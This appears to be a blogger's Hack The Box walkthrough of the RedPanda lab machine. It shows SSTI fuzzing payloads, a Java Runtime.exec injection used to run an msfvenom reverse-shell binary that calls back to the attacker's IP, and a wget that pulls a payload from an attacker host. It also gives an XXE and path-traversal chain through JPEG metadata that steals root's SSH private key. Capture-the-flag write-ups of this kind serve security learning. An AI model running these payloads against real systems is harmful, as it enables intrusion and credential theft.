RedPanda HTB Walkthrough

Jan 12, 2025

RedPanda Hack The Box Walkthrough/Writeup:

How I Use Variables & Wordlists:

1. Enumeration:

NMAP:

Basic Scans:

Comprehensive Scans:

SSH 22:

HTTP-Proxy 8080:

Whatweb:

Dirbusting the webserver using ferox:

  kali in HTB/BlogEntriesMade/RedPanda/scans/nmap  🍣 main  3GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 15:34:26 zsh ❯ feroxbuster -u http://$box:8080 --threads 20 --scan-limit 2 -q -r -o $domain-FeroxScan.txt

200      GET       22l       41w      295c http://10.129.227.207:8080/css/main.css
200      GET      275l      763w     7549c http://10.129.227.207:8080/css/panda.css
200      GET       55l      119w     1543c http://10.129.227.207:8080/
200      GET       54l      102w      822c http://10.129.227.207:8080/css/stats.css
200      GET       32l       97w      987c http://10.129.227.207:8080/stats
500      GET        1l        1w       86c http://10.129.227.207:8080/error
Scanning: http://10.129.227.207:8080/
400      GET        1l       32w      435c http://10.129.227.207:8080/[
400      GET        1l       32w      435c http://10.129.227.207:8080/plain]

Fuzzing for SSTI and discovering the template engine:

Fuzzing Attempt 1:
Payload Path Taken Template Engine Result Response/Output
${7*7} Direct Input Smarty ✅ Vulnerable 49
Mako ❓ Unknown Unknown
a{*comment*}b Comment Handling Input Smarty ✅ Vulnerable ab
${"".join("ab")} Join Function Injection Smarty ✅ Vulnerable ab
Mako ✅ Vulnerable ab
Jinja2 ❓ Unknown Unknown
{{7*7}} Double Braces Input Jinja2 ✅ Vulnerable 49
Twig ✅ Vulnerable 49
Unknown ❓ Unknown Unknown
{{7*'7'}} String Multiplication Attempt Jinja2 ✅ Vulnerable 7777777
Twig ✅ Vulnerable 49
${7*7}
a{*comment*}b
${"".join("ab")}
{{7*7}}
{{7*'7'}}
Enumerating the framework in use (reading the source code):
Fuzzing Attempt 2:

Enumerating Banned Chars:

Create a list of special ASCII characters:
for ((i=32; i<127; i++)); do [[ $(printf "\\$(printf %03o "$i")") =~ [[:punct:]] ]] && printf "\\$(printf %03o "$i")\n"; done > specialChars.txt
Fuzzing for banned chars using FFUF:
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: 10.129.227.207:8080' -H $'Content-Length: 71' -H $'Cache-Control: max-age=0' -H $'Accept-Language: en-US,en;q=0.9' -H $'Origin: http://10.129.227.207:8080' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Referer: http://10.129.227.207:8080/search' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
    --data-binary $'name=%24%7B%27patt%27.toString%28%29.replace%28%27a%27%2C+%27x%27%29%7D' \
    $'http://10.129.227.207:8080/search'
ffuf -u $'http://10.129.227.207:8080/search' -w ./specialChars.txt  -X $'POST' \
    -H $'Host: 10.129.227.207:8080' -H $'Content-Length: 71' -H $'Cache-Control: max-age=0' -H $'Accept-Language: en-US,en;q=0.9' -H $'Origin: http://10.129.227.207:8080' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Referer: http://10.129.227.207:8080/search' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
    --data-binary $'name=FUZZ' -x http://127.0.0.1:8080

2. Foothold:

Getting RCE On The Host VIA SSTI:

Reading /etc/passwd via SSTI:

Verifying RCE VIA SSTI:

Getting A Reverse Shell VIA SSTI:

Creating A Malicious .elf binary:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.89 LPORT=4242 -f elf > rev.elf

Transferring The Malicious binary To The Host:

Making The Malicious Binary Executable:

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 ./rev.elf")}

Executing The Malicious .elf & Getting A Shell:

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("./rev.elf")}

Upgrading the shell:

3. Enumerating As woodenk:

Enumerating As woodenk:

Apache-Maven:

Finding Hard Coded Credentials:

Accessing The Host Via SSH:

4. Privilege Escalation:

Manual Privilege Escalation Checks:

Checking Running Processes With pspy & Finding A Cron Job Running As Root:

Reading The Source Code Of app.java:

Code Break-Down:

I’ll break down this Java code into chunks and explain what each part does.

Why The Code Is Vulnerable:

The code contains multiple critical vulnerabilities that chain together. Let’s me explain the key vulnerable components:

Vulnerable Log Parsing:

public static Map parseLog(String line) {
    // VULNERABILITY: No input validation
    String[] strings = line.split("\\|\\|");
    Map map = new HashMap<>();
    map.put("status_code", Integer.parseInt(strings[0]));
    map.put("ip", strings[1]);
    map.put("user_agent", strings[2]);
    map.put("uri", strings[3]);
    return map;
}

Weak Image Validation:

public static boolean isImage(String filename) {
    // VULNERABILITY: Basic string check only
    if(filename.contains(".jpg")) {
        return true;
    }
    return false;
}

Unsafe Artist Metadata Extraction:

public static String getArtist(String uri) throws IOException, JpegProcessingException {
    // VULNERABILITY: Direct path concatenation
    String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
    File jpgFile = new File(fullpath);
    Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
    // VULNERABILITY: No validation on metadata
    for(Directory dir : metadata.getDirectories()) {
        for(Tag tag : dir.getTags()) {
            if(tag.getTagName() == "Artist") {
                return tag.getDescription();
            }
        }
    }
    return "N/A";
}

Vulnerable XML Processing:

public static void addViewTo(String path, String uri) throws JDOMException, IOException {
    // VULNERABILITY: XXE possible - external entities enabled
    SAXBuilder saxBuilder = new SAXBuilder();
    // VULNERABILITY: Path traversal via artist name
    String xmlPath = "/credits/" + artist + "_creds.xml";
    // ... XML processing ...
}

Why These Vulnerabilities Matter:

  1. Path Traversal Chain:

    • Attacker can craft JPEG with malicious artist metadata
    • Example: ../tmp/bloodstiller as artist name
    • Results in path: /credits/../tmp/bloodstiller_creds.xml
  2. XXE Attack Chain:

    • Create malicious XML in predicted location
    • XML contains external entity references
    • Processed as root due to cron job
    • Can read sensitive files like /root/.ssh/id_rsa
  3. Root Privilege Exploitation:

    • Application runs as root via cron
    • Processes untrusted input
    • No security controls
    • Predictable file paths
  4. The vulnerabilities chain together because:

    • We can control the artist metadata in JPEGs
    • This metadata is used in file paths without sanitization
    • The XML parser processes external entities
    • Everything runs with root privileges

XXE Primer: What is XML External Entity Processing?

Exploitation:

Overview of Attack Chain:

  1. Create malicious JPEG with crafted Artist metadata
  2. Place malicious XML file in predictable location
  3. Trigger log processing via web request
  4. Wait for root cron job to process our malicious files
  5. Extract sensitive data via XXE

Step 1: Crafting Malicious JPEG:

Step 2: Creating Malicious XML:

  1. Download the template from web application that we discovered earlier.

     wget http://$box:8080/export.xml
    
  2. Modify XML to include XXE payload:

    • At the moment I am using a POC to read /etc/passwd I am doing this as this a world readable file by any user and will provide us proof that we can trigger RCE via XXE.
    • Defines external entity that reads /etc/passwd
    • Maintains original XML structure
    • Adds payload in predictable location
  3. Place XML file in target location:

    wget http://10.10.14.29:9000/export.xml -O /tmp/bloodstiller_creds.xml
    

Step 3: Triggering Exploitation:

  1. Trigger log entry creation via web request:

     curl -A "bloodstiller||/../../../../../../../../../../tmp/Cat.jpg" http://$box:8080/
    
    • Uses User-Agent header to inject log entry
    • Path traversal in URI points to our malicious JPEG
  2. Verify log entry creation:

    tail -f /opt/panda_search/redpanda.log
    
  3. Verify it worked:

    cat /tmp/bloodstiller_creds.xml
    
    • As we can see it now contains the contents of /etc/passwd verifying proof the POC works. Now to move onto exploitation.

Step 4: Privilege Escalation via XXE:

  1. Modify XML to target SSH private key:

  2. Wait for cron job execution (runs every 2 minutes)

  3. Extract private key from XML output:

     cat /tmp/bloodstiller_creds.xml
    
  4. Set proper permissions on extracted key:

     chmod 600 id_rsa
    
  5. Login as root:

     ssh -i id_rsa root@$box
    
  6. Retrieve root flag:

5. Persistence:

Lessons Learned:

What did I learn?

  1. This was really hard for me. I know nothing about java and breaking down the code & getting my head round it took a long time. Got there but this should not be an “Easy” box it’s medium at the least.
  2. I learned so much about breaking down java and also chaining attacks.

What silly mistakes did I make?

  1. Too numerous to list but was trying my best.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at bloodstiller dot com



Next: Sau HTB Walkthrough